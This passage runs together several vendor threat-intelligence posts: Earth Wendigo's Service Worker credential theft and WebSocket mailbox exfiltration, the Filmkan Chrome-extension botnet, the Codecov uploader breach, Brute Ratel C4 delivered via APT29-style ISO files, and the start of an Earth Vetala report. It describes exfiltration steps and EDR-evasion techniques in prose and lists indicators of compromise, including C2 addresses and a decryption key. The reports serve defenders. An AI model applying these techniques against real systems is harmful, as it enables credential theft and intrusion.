The registered Service Worker script checks the URL path from an intercepted request and performs various responses:  For HTTPS POST requests sent to “/cgi-bin/login,” which is the API for the authentication of webmail user login and contains the username and password pair, the Service Worker script will copy the pair and send it to a remote server.


For requests sent to “/cgi-bin/start,” which is a page wrapper used to show the main webmail page, the Service Worker script will reply by sending another page to the victim.


This new page is almost similar to the original wrapper but injected with a script element meant to load malicious script from Earth Wendigo’s server.


Therefore, the victim also loads the malicious script with the replaced wrapper page whenever they access the webmail server with the malicious Service Worker enabled in the background.


Figure 10. The malicious script used to upload and register the Service Worker script      Figure 11. The Service Worker script used to steal credentials and reply to the user with a modified wrapper page      Figure 12. The wrapper page with the malicious script (highlighted)     Email exfiltration


At the end of the attack, Earth Wendigo delivers a JavaScript code that then creates a WebSocket connection to a remote server and executes the script returned from the server.


We found that the returned script is a backdoor that gets its instructions from the WebSocket server.


It has only one command, “get(‘URL’),” to perform a request from the victim’s browser to the webmail server and collect the response back to the WebSocket server. The usage of the backdoor we found, in this case, is for the mailbox exfiltration.


Figure 13.


The email exfiltration flow with WebSocket backdoor      Figure 14.


The script used to establish WebSocket communication      Figure 15.


The main script of the backdoor used to get the URL payload and send it back to the WebSocket server      Figure 16.


An example of WebSocket communication traffic and email exfiltration flow     A typical sequence used for mailbox exfiltration:


1.      The WebSocket server returns a backdoor script that is executed on the victim’s browser 2.      The backdoor sends the webmail session key, browser cookies, webpage location, and browser user agent string back to the WebSocket server to register the victim’s information 3.      The WebSocket server sends the command “get(‘/cgi-bin/folder_tree2?cmd=…’)” to grab the list of existing mailboxes under the victim’s mail account 4.      The WebSocket server sends the command “get(‘/cgi-bin/msg_list?cmd=…’)” to grab the list of emails inside a mailbox that they are interested in reading 5.      The WebSocket server sends the command, “get(‘/cgi-bin/msg_read?cmd=pring_mail&…’)”


to read the email listed in the response seen in the previous step; it reads each email sequentially from the mailbox and sends it back to the WebSocket server 6.      If a stolen email has attachments, the WebSocket server sends the command “get(‘att:/cgi-bin/downfile/…’)” to grab the relevant attachment from the webmail server and slice it into 4096 bytes as chunks to return to the WebSocket server.


These steps are repeatedly performed until they receive the victim’s entire mailbox.


Additional Findings


Besides their attack on webmail servers, we also found multiple malware variants used by Earth Wendigo.


These malware variants, which are written in Python and compiled as Windows executables, communicate to a malicious domain — the same one used in this attack.


Most of them are shellcode loaders that load embedded shellcode likely from Cobalt Strike.


Some of them are backdoors that will communicate with the command and control (C&C)) server to request and execute additional python code.


However, we don’t know what code they delivered because the server was already down when we were verifying the malware variants.


It’s also not clear how they were delivered to the victims.


Figure 17.


The Python script decompiled from the malware


Conclusion


While Earth Wendigo uses typical spear-phishing techniques to initiate their attack, the threat actor also uses many atypical techniques to infiltrate the targeted organizations, such as the use of mail signature manipulation and Service Worker infection.


The impact of spear-phishing attacks can be minimized by following security best practices, which include refraining from opening emails sent by suspicious sources.


We also encourage both users and organizations to upgrade their servers to the latest version to prevent compromise via vulnerability exploits.


To avoid XSS attacks similar to what we described in this report, we recommend adapting Contant-Security-Policy (CSP) for websites.


Indicators of Compromise  Indicator  Description  Detection  mail2000tw[.]com  Domain operated by Earth Wendigo     bf[.]mail2000tw[.]com  Domain operated by Earth Wendigo     admin[.]mail2000tw[.]com  Domain operated by Earth Wendigo     googletwtw[.]com  Domain operated by Earth Wendigo     bf[.]googletwtw[.]com  Domain operated by Earth Wendigo     ws[.]googletwtw[.]com  Domain operated by Earth Wendigo     admin[.]googletwtw[.]com  Domain operated by Earth Wendigo     anybodyopenfind[.]com  Domain operated by Earth Wendigo     support[.]anybodyopenfind[.]com  Domain operated by Earth Wendigo     supports[.]anybodyopenfind[.]com  Domain operated by Earth Wendigo     supportss[.]anybodyopenfind[.]com  Domain operated by Earth Wendigo     a61e84ac9b9d3009415c7982887dd7834ba2e7c8ea9098f33280d82b9a81f923  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  66cf12bb9b013c30f9db6484caa5d5d0a94683887cded2758886aae1cb5c1c65  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  4cdaca6b01f52092a1dd30fc68ee8f6d679ea6f7a21974e4a3eb8d14be6f5d74  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  f50a589f3b3ebcc326bab55d1ef271dcec372c25d65f381a409ea85929a34b49  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  e047aa878f9e7a55a80cc1b70d0ac9840251691e91ab6454562afbff427b0879  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  a1a6dc2a6c795fc315085d00aa7fdabd1f043b28c68d4f98d4152fe539f026f1  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  10d2158828b953ff1140376ceb79182486525fd14b98f743dafa317110c1b289  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  0e04a03afa5b66014457136fb4d437d51da9067dc88452f9ebd098d10c97c5b8  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  75f3f724a2bfda1e74e0de36ff6a12d3f2ea599a594845d7e6bc7c76429e0fa4  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  c3bc364409bb0c4453f6d80351477ff8a13a1acdc5735a9dff4ea4b3f5ad201c  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  5251087bb2a0c87ac60c13f2edb7c39fb1ea26984fcc07e4cf8b39db31ce2b08  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  7fa9a58163dd233065a86f9ed6857ed698fc6e454e6b428ea93f4f711279fb61  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  f568f823959be80a707e05791718c1c3c377da1b0db1865821c1cf7bc53b6084  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  a54d58d5a5812abaede3e2012ae757d378fb51c7d3974eaa3a3f34511161c1db  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  77c3d62cce21c2c348f825948042f7d36999e3be80db32ac98950e88db4140b1  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  c0dabb52c73173ea0b597ae4ad90d67c23c85110b06aa3c9e110a852ebe04420  Earth Wendigo Service Worker script  Trojan.JS.WENDIGOE.A  efe541889f3da7672398d7ad00b8243e94d13cc3254ed59cd547ad172c1aa4be  Earth Wendigo WebSocket JavaScript backdoor  Backdoor.JS.WENDIGOE.A  2411b7b9ada83f6586278e0ad36b42a98513c9047a272a5dcb4a2754ba8e6f1d  Earth Wendigo Shellcode Loader  Trojan.Win32.WENDIGOE.A  1de54855b15fc55b4a865723224119029e51b381a11fda5d05159c74f50cb7de  Earth Wendigo Shellcode Loader  Trojan.Win32.WENDIGOE.A  d935c9fe8e229f1dabcc0ceb02a9ce7130ae313dd18de0b1aca69741321a7d1b  Earth Wendigo Shellcode Loader  Trojan.Win32.WENDIGOE.B  50f23b6f4dff77ce4101242ebc3f12ea40156a409a7417ecf6564af344747b76  Earth Wendigo Shellcode Loader  Trojan.Win32.WENDIGOE.C    fab0c4e0992afe35c5e99bf9286db94313ffedc77d138e96af940423b2ca1cf2  Earth Wendigo Shellcode Loader  Trojan.Win32.WENDIGOE.C    4d9c63127befad0b65078ccd821a9cd6c1dccec3e204a253751e7213a2d39e39  Earth Wendigo Shellcode Loader  Trojan.Win32.WENDIGOE.C    25258044c838c6fc14a447573a4a94662170a7b83f08a8d76f96fbbec3ab08e2  Earth Wendigo Shellcode Loader  Trojan.Win32.WENDIGOE.C    13952e13d310fb5102fd4a90e4eafe6291bc97e09eba50fedbc2f8900c80165f  Earth Wendigo Shellcode Loader  Trojan.Win32.WENDIGOE.C    ccb7be5a5a73104106c669d7c58b13a55eb9db3b3b5a6d3097ac8b68f2555d39  Earth Wendigo Shellcode Loader  Trojan.Win64.WENDIGOE.A    40a251184bb680edadfa9778a37135227e4191163882ccf170835e0658b1e0ed  Earth Wendigo Shellcode Loader  Trojan.Win64.WENDIGOE.B    0d6c3cc46be2c2c951c24c695558be1e2338635176fa34e8b36b3e751ccdb0de  Cobalt Strike  Trojan.Win32.COBALT.SM       Tags  Articles, News, Reports | APT & Targeted Attacks | Research


This post is also available in:      日本語 (Japanese)  On January 31, a security researcher named Mohammad Faghani posted an analysis of malware that was being distributed through Facebook posts.


Based on the number of “likes” the malware had generated, Faghani estimated that over 100,000 users had been infected with the malware.


We have not been able to identify a common name for this malware and have given it the designation “Filmkan” based on domains it uses for command and control.


Based on our analysis, this malware was most likely created by a Turkish actor.


The malware contains many comments written in Turkish, the domains used for command and control were registered through a Turkish company and the social network profiles involved in the attack belong to Turkish speakers.


Filmkan is very flexible, giving it more capability than simple interaction with social networks.


The overall motivation of this attack is not clear at this time, but the author of Filmkan has successfully assembled a large botnet in a short amount of time.


While the initial report only contained sparse details, Faghani followed up with additional analysis on February 2, exposing more functionality related to the malware.


Our WildFire analysis cloud first picked up samples of this malware on January 22 and thus far we’ve collected 44 distinct samples the display the behavior described by Faghani.


At a high level, this malware consists of four components:  The initial infection occurs when a user clicks on a link in a Facebook post, which claims to be a pornographic video.


After a few seconds the video tells the user they need to download an update for Flash player, which is the initial dropper executable.


The attacker hosted the linked executables through Google’s cloud storage at the following URLs:


The Filmkan dropper has a Flash icon to help make it appear as a legitimate update.  The author of Filmkan created the dropper using AutoHotkey (AHK), a legitimate tool for creating Windows applications using a custom scripting language.


AHK scripts are compiled into binaries that interpret the script code, making them portable to any Windows system.


The AHK scripts included in the Filmkan binaries contain many debugging strings written in Turkish.


The scripts have the following functionality:  While the dropper is responsible for the initial installation and updating itself, the remaining functionality is contained in the Filmkan Chrome extension.


Chrome extensions  allow developers to extend Google’s Chrome browser, typically by adding new functionality.


Developers write extensions in JavaScript and HTML, which is typically included in a package along with resources necessary to operate the extension.


The Filmkan dropper retrieves JavaScript using the installed wget.exe program from one of the three defined C2 servers.


The dropper saves this JavaScript code as “bg.txt”, which is defined in the installed Chrome extension manifest as a “background” script.


This script will run whenever the Chrome browser is open on the system.


The content of the bg.txt file can be changed any time the attacker chooses.


The current version of the script contains three primary functions.


The chrome extension closes any tab the user opens that matches the following URLs, effectively preventing the user from discovering or removing the extension.  The extension downloads an array of JSON data from hxxp://www.filmver .com/ahk/get.js.


The extension uses this data as a denylist, preventing the browser from loading URLs that contain any of the following strings.


Blocking antivirus and security-related domains is a common tactic malware authors use to prevent users from removing an infection, but many of the domains included in this list are mysterious.


JoyGame.com is a Turkish video game website, while exelansdealers.com was previously used to host a similar malicious Chrome extension.


The third primary function of this extension is to download and execute JavaScript code from hxxp://www.filmver .com/ahk/user.php.


This function makes the Filmkan extension very flexible, as the attacker can modify the script at any time.


When Faghani first published his analysis this component of the malware was forcing the user’s Facebook account to “like” specific posts on a community page titled Sabır.


Some of these posts garnered over 100,000 likes, despite containing very little content.


The latest version of the script no longer forces the user to like these posts, instead it causes the user to follow two accounts on Twitter and a third account on Facebook.  Other than all three of these accounts belonging to Turkish individuals, the connection between these accounts and this attack is unclear.


The script also includes a tracking URL hosted by amung.us, which allows the attacker to identify how many users are actively infected with the malware.


A snapshot of the current number of infections follows:  hxxp:// whos.amung .us/swidget/hcfj8xyq9p94  The attacker frequently updates this tracking URL, most likely to keep track of users who are currently executing the latest malicious extension code.


The full content of the latest script follows.


Filmkan does not exploit any software vulnerabilities and thus far has relied on social engineering to infect users.


Users should be suspicious of any message indicating that an update for Flash is available in Google Chrome, as Chrome contains an integrated Flash runtime that is updated by Google.


Organizations should block access to the following domains to prevent Filmkan from receiving updates from the attacker.


These domains are the primary weakness of Filmkan, as shutting all three of them down simultaneously would remove the attackers access to the botnet.  Thus far, WildFire has automatically identified Filmkan droppers with the following MD5 hashes:  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


This post is also available in:      日本語 (Japanese)  On April 16, Codecov, an online platform and software company that provides code testing reports and statistics, disclosed that an adversary modified their Bash Uploader script.


The Bash Uploader script allows its customers to send code coverage reports to the Codecov platform for analysis.


Codecov’s investigation found that beginning January 31, a threat actor made periodic, unauthorized alterations to the Bash Uploader script.


The script was modified to export information out of their users’ continuous integration (CI) environments to a third-party server outside of Codecov’s infrastructure.


This information could include, but is not limited to, credentials, tokens, services, datastores and application code.


This incident is not limited to clients who only used the Bash Uploader script.


This script can also be found in other tools such as:  As of the time of this writing, based on signatures and indicators that have been observed, Palo Alto Networks customers are protected across our product ecosystem, with specific protections deployed in the following products and subscriptions:


Organizations using Codecov’s Bash Uploader script, or one of the other impacted tools should carefully evaluate their exposure to this threat.


We recommend customers take advantage of the protections listed above and implement the remediation actions recommended by Codecov to limit their impact.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Please mark, I'm not a robot!


This post is also available in:      日本語 (Japanese)  Unit 42 continuously hunts for new and unique malware samples that match known advanced persistent threat (APT) patterns and tactics.


On May 19, one such sample was uploaded to VirusTotal, where it received a benign verdict from all 56 vendors that evaluated it.


Beyond the obvious detection concerns, we believe this sample is also significant in terms of its malicious payload, command and control (C2), and packaging.


The sample contained a malicious payload associated with Brute Ratel C4 (BRc4), the newest red-teaming and adversarial attack simulation tool to hit the market.


While this capability has managed to stay out of the spotlight and remains less commonly known than its Cobalt Strike brethren, it is no less sophisticated.


Instead, this tool is uniquely dangerous in that it was specifically designed to avoid detection by endpoint detection and response (EDR) and antivirus (AV) capabilities.


Its effectiveness at doing so can clearly be witnessed by the aforementioned lack of detection across vendors on VirusTotal.


In terms of C2, we found that the sample called home to an Amazon Web Services (AWS) IP address located in the United States over port 443.


Further, the X.509 certificate on the listening port was configured to impersonate Microsoft with an organization name of “Microsoft” and organization unit of “Security.”


Additionally, pivoting on the certificate and other artifacts, we identified a total of 41 malicious IP addresses, nine BRc4 samples, and an additional three organizations across North and South America who have been impacted by this tool so far.


This unique sample was packaged in a manner consistent with known APT29 techniques and their recent campaigns, which leveraged well-known cloud storage and online collaboration applications.


Specifically, this sample was packaged as a self-contained ISO.


Included in the ISO was a Windows shortcut (LNK) file, a malicious payload DLL and a legitimate copy of Microsoft OneDrive Updater.


Attempts to execute the benign application from the ISO-mounted folder resulted in the loading of the malicious payload as a dependency through a technique known as DLL search order hijacking.


However, while packaging techniques alone are not enough to definitively attribute this sample to APT29, these techniques demonstrate that users of the tool are now applying nation-state tradecraft to deploy BRc4.


Overall, we believe this research is significant in that it identifies not only a new red team capability that is largely undetectable by most cybersecurity vendors, but more importantly, a capability with a growing user base that we assess is now leveraging nation-state deployment techniques.


This blog provides an overview of BRc4, a detailed analysis of the malicious sample, a comparison between the packaging of this sample and a recent APT29 sample, and a list of indicators of compromise (IoCs) that can be used to hunt for this activity.


We encourage all security vendors to create protections to detect activity from this tool and all organizations to be on alert for activity from this tool.  Palo Alto Networks customers receive protections from the threats described in this blog through Threat Prevention, Cortex XDR and WildFire malware analysis.


Full visualization of the techniques observed, relevant courses of action and indicators of compromise (IoCs) related to this report can be found in the Unit 42 ATOM viewer.  Brute Ratel C4 Overview From Click to Brute Packaging of Roshan_CV.iso Modification of Version.dll x64


Shellcode


Decrypted OneDrive.Update Target Network Infrastructure Identifying OneDrive.


Update Badger_x64.exe


Employment


Other Samples and Infrastructure Protections and Mitigations Conclusion Indicators of Compromise Additional Resources


Brute Ratel C4 made its initial debut as a penetration testing tool in December 2020.


At the time, its development was a part-time effort by a security engineer named Chetan Nayak (aka Paranoid Ninja) living in India.


According to his website (Dark Vortex), Nayak amassed several years of experience working in senior red team roles across western cybersecurity vendors.


Over the past 2.5 years, Nayak introduced incremental improvements to the pentest tool in terms of features, capabilities, support and training.


In January 2022, Nayak left his day job in order to pursue full-time development and training workshops.


That same month, he released Brute Ratel v0.9.0 (Checkmate), which is described as the “biggest release for Brute Ratel till date.”  However, of greater concern, the release description also specifically noted that “this release was built after reverse engineering several top tier EDR and Antivirus DLLs.”


Our analysis highlights the ongoing and relevant debate within the cybersecurity industry surrounding the ethics relating to the development and use of penetration testing tools that can be exploited for offensive purposes.


BRc4 currently advertises itself as “A Customized Command and Control Center for Red Team and Adversary Simulation.”


On May 16, Nayak announced that the tool had gained 480 users across 350 customers.


The latest version, Brute Ratel v1.0 (Sicilian Defense) was released a day later on May 17, and is currently offered for sale at a price of $2,500 per user and $2,250 per renewal.


With this price point and customer base, BRc4 is positioned to take in more than $1 million dollars in sales over the next year.


Figure 3. BRc4 licensing and cost.


In terms of features, BRc4 advertises the following capabilities:


The file in VirusTotal named Roshan_CV.iso (SHA256: 1FC7B0E1054D54CE8F1DE0CC95976081C7A85C7926C03172A3DDAA672690042C) appears to be a curriculum vitae (similar to a resume) of an individual named Roshan.


It was uploaded to VirusTotal on May 19, 2022, from Sri Lanka.


The ISO file extension refers to an optical disc image file, derived from the International Organization for Standardization’s ISO 9960 file system, which is typically used to back up files for CD/DVD.


The ISO file is not malicious and requires a user to double-click, which mounts the ISO as a Windows drive.


Finally, the archived files of the ISO are displayed to the user.


In this case, when the ISO is double-clicked, a user is presented with the following:  As depicted in Figure 5, the user would see a file named Roshan-Bandara_CV_Dialog, which has a fake icon image of Microsoft Word, purporting to be an individual's CV, and written in Microsoft Word


From the window dialog box it can be ascertained that the ISO was assembled on May 17, 2022, which coincidentally is the same day the new BRc4 was released.


If the user were to double-click on the file, it would then install Brute Ratel C4 on the user's machine.  By default, on Windows operating systems, hidden files are not displayed to the user.


In Figure 6, there are four hidden files concealed from view.


If the display of hidden files is enabled, the user sees the following:  The lure file, the one visible to the user, is a Windows shortcut file (LNK) with the following properties:  Microsoft shortcut files, those with a .lnk file extension, contain enriched metadata that can be used to provide artifacts about the file.


Some key artifacts of this file are:  When Roshan-Bandara_CV_Dialog is double-clicked, the following actions occur:  Figure 8 below gives an overview of how this process would look.


The composition of the ISO file, Roshan_CV.ISO, closely resembles that of other nation-state APT tradecraft.


The following table shows a side-by-side comparison of Roshan_CV.ISO and that of a previously identified APT29 sample (Decret.ISO).


The following images show how Roshan_CV.ISO and Decret.ISO would look to a user when double-clicked.


Figure 9 is a screenshot of the default Windows File Explorer; “show hidden files” is not checked.


In both images, the user is presented with a shortcut file (LNK file) that starts the malicious activity when double-clicked.


Figure 10 shows how the ISOs would appear when show hidden files” is enabled for viewing.


The flow of execution is the following:  Roshan_CV.ISO→Roshan-Bandar_CV_Dialog.LNK→cmd.exe→OneDriveUpdater.exe→version.dll→OneDrive.Update  Decret.ISO→Decret.LNK→cmd.exe→HPScan.exe→version.dll→HPScanApi.dll


The delivery of packaged ISO files is typically sent via spear phishing email campaigns or downloaded to the victim by a second-stage downloader.  While we lack insight into how this particular payload was delivered to a target environment, we observed connection attempts to the C2 server originating from three Sri Lankan IP addresses between May 19-20.


Version.dll is a modified version of a legitimate Microsoft file written in C++.


The implanted code is used to load and decrypt an encrypted payload file.


The decrypted payload is that of shellcode (x64 assembly) that is further used to execute Brute Ratel C4 on the host.


In order for Version.dll to maintain its code capabilities for OneDriveUpdater.exe, the actors include the legitimate digitally signed Microsoft version.dll and named it vresion.dll.


Any time OneDriveUpdater.exe makes a call into the actor’s Version.dll, the call is proxied to vresion.dll.


Because of this, the actor’s version.dll will load vresion.dll as a dependency file.


The implanted code begins when the DLL is loaded via DLL_PROCESS_ATTACH and performs the following at the DLLMain subroutine:  The technique outlined above uses process injection via undocumented Windows NTAPI calls.


The decrypted payload is now running within the runtimebroker.exe memory space.


The following is a snippet of code from version.dll that starts the execution of the in-memory decrypted payload.


The decrypted payload file is x64 shellcode (assembly instructions) that involves a series of executions to unpack itself.


The assembly instructions involve multiple push and mov instructions.


The purpose of this is to copy the Brute Ratel C4 code (x64 assembly) onto the stack eight bytes at a time and eventually reassemble it into a memory space for execution – a DLL with a stripped MZ header.


Using a series of push and mov instructions evades in-memory scanning as the shellcode is assembled in blocks versus the entire code base being exposed for scanning.


The entry point of the decrypted payload is the following:  The unpacking involves 25,772 push and 25,769 mov instructions.


When finished, the code performs the following.


The following is a snippet of the code that calls NtCreateThreadEx and starts the execution of the second-stage shellcode.  The configuration data is passed as a parameter to the start address of the new thread.


This data includes the encrypted configuration settings for Brute Ratel C4.


The encrypted contents are the following:  The data is base64-encoded and RC4-encrypted.


The 16-byte RC4 decryption key is: bYXJm/3#M?:XyMBF


The decrypted configuration file is:  Each parameter is delineated with a pipe | character, and one of the values is the IP seen earlier of 174.129.157[.]251 and port of 443.


The IP 174.129.157[.]251 is hosted on Amazon AWS, and Palo Alto Networks Cortex Xpanse history shows the IP had TCP port 443 open from April 29, 2022, until May 23, 2022, with a self-signed SSL certificate impersonating Microsoft Security:


Once the SSL handshake to IP 174.129.157[.]251 is complete, the following data is sent via HTTP POST to the Brute Ratel C4 listener port.


To identify the decrypted in-memory payload as being associated with Brute Ratel C4, we conducted hunting based on the unique in-memory assembly instructions, push and mov.


These instructions are used to build the second layer of shellcode.


Searching across VirusTotal, we found a second sample with the same push and mov instructions:


Initially, what stood out to us was the filename containing the word “badger.”


According to the Brute Ratel C4 website, the word “badger” represents payloads used for remote access.


When uploaded to VirusTotal, only two out of 66 vendors considered the sample malicious.


Currently, 12 vendors identify the sample as malicious with eight classifying this sample as “Brutel,” further supporting that our in-memory code is somehow associated with that of Brute Ratel C4.


Side-by-side comparison of the entry point of badger_x64.exe and our decrypted OneDrive.Update sample:


When badger_x64.exe is finished with the push and mov instructions, it makes the same Windows API calls as OneDrive.Update using API hashing, but does not use direct syscall (a user configuration feature of Brute Ratel C4).


Example of badger_x64.exe:


Like the OneDrive.Update sample, the parameter passed to the calling thread is the configuration data for Brute Ratel C4.


In this sample, the data is not base64-encoded or RC4-encrypted, and is passed in the clear.


The following is the configuration used for this sample:


In this case, the sample is configured to communicate with IP 159.65.186[.]50 on TCP port 443.


Based on the following, we can conclude that OneDrive.Update is indeed associated with Brute Ratel C4.


The file badger_x64.exe is a standalone x64 executable that runs Brute Ratel C4 (badger payload) while the decrypted OneDrive.Update file is the in-memory component of Brute Ratel C4 that is executed using the actor's modified DLL, version.dll.


After validating that badger_x64.exe and OneDrive.Update were both BRc4 payloads, we set to work analyzing the employment of this second sample.


VirusTotal records revealed that the sample was uploaded by a web user in Ukraine on May 20, 2022.


Coincidentally, this happens to be one day after the Roshan_CV.ISO file was uploaded.


As noted above, the sample was configured to call home to 159.65.186[.]50 on port 443.


Palo Alto Networks Cortex Xpanse history shows that this port was open from May 21-June 18, 2022, with the same “Microsoft Security” self-signed SSL certificate seen above.


Given this timeline, it's worth noting that the sample was actually uploaded to VirusTotal prior to the C2 infrastructure being configured to listen for the callbacks.


Evaluating netflow connections for 159.65.186[.]50 during this time window revealed several connections to ports 22, 443 and 8060 originating from a Ukrainian IP (213.200.56[.]105).


We assess this Ukrainian address is likely a residential user IP that was leveraged to administer the C2 infrastructure.


A deeper look at connections in and out of 213.200.56[.]105 further revealed several flows over UDP port 33445.


This port is commonly used by Tox, a secure peer-to-peer chat and video application that offers end-to-end encryption.


Examining additional connections to port 443 on 159.65.186[.]50, we identified several suspected victims including an Argentinian organization, an IP television provider providing North and South American content, and a major textile manufacturer in Mexico.


Coincidentally, recent attempts to browse the textile manufacturer’s website result in a 500 internal server error message.


Given the geographic dispersion of these victims, the upstream connection to a Ukrainian IP and several other factors, we believe it is highly unlikely that BRc4 was deployed in support of legitimate and sanctioned penetration testing activities.


Over the past year, the fake Microsoft Security X.509 certificate has been linked to 41 IP addresses.


These addresses follow a global geographic dispersion and are predominantly owned by large virtual private server (VPS) hosting providers.


Expanding our research beyond the two samples discussed above, we have also identified an additional seven samples of BRc4 dating back to February 2021.


For Palo Alto Networks customers, our products and services provide the following coverage associated with this group:


Threat Prevention provides protection against Brute Ratel C4.


The "Brute Ratel C4 Tool Command and Control Traffic Detections" signature is threat ID 86647.


Cortex XDR detects and protects endpoints from the Brute Ratel C4 tool.  WildFire cloud-based threat analysis service accurately identifies Brute Ratel C4 samples as malware.


The emergence of a new penetration testing and adversary emulation capability is significant.


Yet more alarming is the effectiveness of BRc4 at defeating modern defensive EDR and AV detection capabilities.


Over the past 2.5 years this tool has evolved from a part-time hobby to a full-time development project with a growing customer base.


As this customer base has expanded into the hundreds, the tool has gained increased attention across the cybersecurity domain from both legitimate penetration testers as well as malicious cyber actors.


The analysis of the two samples described in this blog, as well as the advanced tradecraft used to package these payloads, make it clear that malicious cyber actors have begun to adopt this capability.


We believe it is imperative that all security vendors create protections to detect BRc4 and that all organizations take proactive measures to defend against this tool.  Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.


CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.


Learn more about the Cyber Threat Alliance.


Note that the Microsoft name and logo shown are an attempt to impersonate a legitimate organization and do not represent an actual affiliation with Microsoft.


This impersonation does not imply a vulnerability in Microsoft’s products or services.  Brute Ratel C4 ISO Samples:  1FC7B0E1054D54CE8F1DE0CC95976081C7A85C7926C03172A3DDAA672690042C  X64 Brute Ratel C4 Windows Kernel Module:  31ACF37D180AB9AFBCF6A4EC5D29C3E19C947641A2D9CE3CE56D71C1F576C069  APT29 ISO Samples:  F58AE9193802E9BAF17E6B59E3FDBE3E9319C5D27726D60802E3E82D30D14D46


X64 Brute Ratel C4 Samples:  3ED21A4BFCF9838E06AD3058D13D5C28026C17DC996953A22A00F0609B0DF3B9 3AD53495851BAFC48CAF6D2227A434CA2E0BEF9AB3BD40ABFE4EA8F318D37BBE 973F573CAB683636D9A70B8891263F59E2F02201FFB4DD2E9D7ECBB1521DA03E DD8652E2DCFE3F1A72631B3A9585736FBE77FFABEE4098F6B3C48E1469BF27AA E1A9B35CF1378FDA12310F0920C5C53AD461858B3CB575697EA125DFEE829611 EF9B60AA0E4179C16A9AC441E0A21DC3A1C3DC04B100EE487EABF5C5B1F571A6 D71DC7BA8523947E08C6EEC43A726FE75AED248DFD3A7C4F6537224E9ED05F6F 5887C4646E032E015AA186C5970E8F07D3ED1DE8DBFA298BA4522C89E547419B  Malicious DLLs:  EA2876E9175410B6F6719F80EE44B9553960758C7D0F7BED73C0FE9A78D8E669  Malicious Encrypted Payloads:  B5D1D3C1AEC2F2EF06E7D0B7996BC45DF4744934BD66266A6EBB02D70E35236E  X.509 Cert SHA1s:  55684a30a47476fce5b42cbd59add4b0fbc776a3 66aab897e33b3e4d940c51eba8d07f5605d5b275  Infrastructure linked to X.509 Certs or Samples:  104.6.92[.]229 137.184.199[.]17 138.68.50[.]218 138.68.58[.]43 139.162.195[.]169 139.180.187[.]179 147.182.247[.]103 149.154.100[.]151 15.206.84[.]52 159.223.49[.]16 159.65.186[.]50 162.216.240[.]61 172.105.102[.]247 172.81.62[.]82 174.129.157[.]251 178.79.143[.]149 178.79.168[.]110 178.79.172[.]35 18.133.26[.]247 18.130.233[.]249 18.217.179[.]8 18.236.92[.]31 185.138.164[.]112 194.29.186[.]67 194.87.70[.]14 213.168.249[.]232 3.110.56[.]219 3.133.7[.]69 31.184.198[.]83 34.195.122[.]225 34.243.172[.]90 35.170.243[.]216 45.144.225[.]3 45.76.155[.]71 45.79.36[.]192 52.48.51[.]67 52.90.228[.]203 54.229.102[.]30 54.90.137[.]213 89.100.107[.]65 92.255.85[.]173 92.255.85[.]44 94.130.130[.]43 ds.windowsupdate.eu[.]org  Hunting for APT29 Spear Phishing Using XDR - Palo Alto Networks Blog Cozy Smuggled Into The Box: APT29 Abusing Legitimate Software For Targeted Operations In Europe Trello From the Other Side: Tracking APT29 Phishing Campaigns New sophisticated email-based attack from NOBELIUM  Updated July 6, 2022, at 9:30 a.m. PT.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Please mark, I'm not a robot!


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


Trend Micro researchers recently detected activity targeting various organizations in the Middle East and neighboring regions.


We were tipped off to this activity in part by research from Anomali, which also identified a campaign targeting similar victims.


We believe (with moderate confidence) that this newly identified activity is connected to MuddyWater (also known as TEMP.Zagros, Static Kitten, Seedworm).


Additionally, we were able to link the Anomali-identified activity to an ongoing campaign in 2021.


This campaign uses the following legitimate remote admin tools such as:  ScreenConnect RemoteUtilities  We have named this intrusion set Earth Vetala.


Earth Vetala used spearphishing emails with embedded links to a legitimate file-sharing service to distribute their malicious package.


The links were embedded within lure documents as well as emails.


Once a victim was accessed, attackers would determine if the user account was an administrator or normal user.


They would then download post-exploitation tools that included password/process-dumping utilities, reverse-tunneling tools, and custom backdoors.


The threat actors would then initiate communications with additional command-and-control (C&C) infrastructure to execute obfuscated PowerShell scripts.


Overview Analysis indicates the Earth Vetala campaign is ongoing and that this threat actor has interests which appear to align with Iran.


Earth Vetala historically targets countries in the Middle East.


In this campaign, Earth Vetala threat actors used spearphishing emails and lure documents against organizations within the United Arab Emirates, Saudi Arabia, Israel, and Azerbaijan.


The phishing emails and lure documents contain embedded URLs linking to a legitimate file-sharing service to distribute archives containing the ScreenConnect remote administrator tool.


ScreenConnect is a legitimate application that allows systems administrators to manage their enterprise systems remotely.


Our research found threat indicators that were connected to the same campaign identified by Anomali.


Analysis indicates that Earth Vetala is still ongoing as of the publishing of this post.


During this campaign, threat actors used post-exploitation tools to dump passwords, tunnel their C&C communication using open-source tools, and use additional C&C infrastructure to establish a persistent presence within targeted hosts and environments.


Technical Analysis


During our research, we observed a spearphishing email allegedly from a government agency.


Figure 1. Phishing Email with the embedded URL      The email attempts to convince recipients to click the URL and download a malicious file.


We have seen that one of two files may be downloaded, one being a .PDF file and the other an .RTF file.


As with the spearphishing email, the lure documents' content attempts to convince the victim to click on another malicious URL and download a .ZIP file.


